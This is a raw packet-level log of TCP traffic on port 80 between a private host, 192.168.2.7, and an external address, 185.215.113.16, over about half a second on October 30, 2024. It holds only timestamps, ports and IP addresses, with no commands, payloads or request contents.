Oct 30, 2024 11:46:41.256014109 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.256205082 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.256218910 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.256231070 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.256251097 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.256285906 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.274610043 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.274624109 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.274652004 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.274665117 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.274677992 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.274724960 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.274775028 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.288395882 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288409948 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288420916 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288448095 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288460970 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288472891 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288513899 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.288573027 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.288583994 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288595915 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288666964 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.288675070 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288687944 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.288765907 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289309025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289386034 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289414883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289427042 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289438963 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289453030 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289467096 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289486885 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289573908 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289625883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289650917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289689064 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289762974 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289767027 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289781094 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289800882 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289812088 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.289813042 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.289871931 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.332361937 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.332382917 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.332398891 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.332571983 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.333116055 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.333128929 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.333142996 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.333180904 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.333200932 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351028919 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351051092 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351061106 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351074934 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351087093 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351099014 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351144075 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351192951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351232052 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351254940 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351268053 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351281881 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351361036 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351361990 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351375103 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351387978 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351442099 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351630926 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351686001 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351706028 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351736069 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351759911 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351775885 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351789951 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351855993 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351870060 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351910114 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351922989 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351928949 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.351970911 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351983070 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.351994991 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352006912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352019072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352025032 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.352113008 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.352415085 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352480888 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.352543116 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352555990 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352567911 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352580070 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352592945 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352606058 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352613926 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.352619886 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352632999 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352644920 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.352715015 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.353123903 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.353148937 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.353199005 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.353274107 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.374864101 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.374891043 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.374901056 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.374974012 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.374998093 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.374996901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375019073 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375078917 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375097990 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375114918 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375130892 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375143051 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375155926 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375163078 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375250101 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375461102 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375473022 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375483990 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375541925 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375610113 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375622034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375633955 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375675917 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375705004 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375716925 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375724077 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.375730038 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.375804901 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.376048088 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.376059055 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.376132011 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.394288063 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.394311905 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.394325018 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.394336939 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.394350052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.394462109 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.394577980 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408195019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408207893 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408221960 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408233881 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408242941 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408251047 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408268929 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408282995 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408294916 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408305883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408317089 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.408323050 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408586979 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408586979 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.408958912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409004927 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409013987 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409034967 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409056902 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409069061 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409077883 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409081936 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409120083 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409147978 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409245968 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409276962 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409295082 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409295082 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409318924 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409337044 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409368992 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409382105 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409392118 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409424067 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409451008 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409605980 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409617901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409629107 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.409667969 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.409710884 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.452070951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.452083111 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.452094078 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.452130079 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.452166080 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.452754021 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.452797890 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.452805042 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.452923059 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470581055 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470594883 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470604897 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470643044 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470673084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470684052 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470714092 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470797062 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470887899 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470897913 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470896959 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470896959 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470917940 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470931053 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.470931053 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470956087 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.470979929 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471132040 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471148968 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471160889 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471182108 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471206903 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471218109 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471230030 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471240997 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471265078 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471285105 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471402884 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471446037 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471447945 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471457958 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471491098 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471493006 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471513987 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471534967 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471673012 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471683979 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471714973 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471719027 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471731901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471736908 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471745014 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471756935 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471759081 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471772909 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471777916 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471786022 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.471800089 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.471834898 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472151041 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472179890 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472192049 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472199917 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472218037 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472230911 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472234964 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472248077 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472266912 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472287893 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472299099 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472302914 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472321987 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472332001 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472335100 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.472364902 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.472398996 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.494659901 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494730949 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494745970 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494755983 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.494756937 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494771957 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494787931 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494788885 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.494851112 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.494865894 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494879007 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494894981 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494905949 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.494920015 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.494951010 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495059967 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495070934 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495089054 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495115042 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495135069 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495192051 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495203972 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495239973 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495265961 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495268106 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495323896 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495363951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495376110 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495393991 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495405912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495410919 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495419025 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495430946 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495441914 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495452881 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495487928 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495788097 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495811939 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.495840073 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.495879889 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.514148951 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.514190912 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.514203072 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.514250040 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.514261007 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.514370918 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.527743101 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527787924 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527801037 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527848959 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.527887106 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.527890921 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527904034 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527916908 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527928114 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527945042 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.527945042 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.527973890 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.527992964 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528011084 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528054953 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528058052 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528067112 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528096914 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528116941 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528625011 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528675079 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528709888 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528753996 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528758049 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528795958 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528810978 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528829098 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528841019 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528851986 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528856993 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528879881 CET	58190	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:41.528899908 CET	80	58190	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:41.528915882 CET	58190	80	192.168.2.7	185.215.113.16
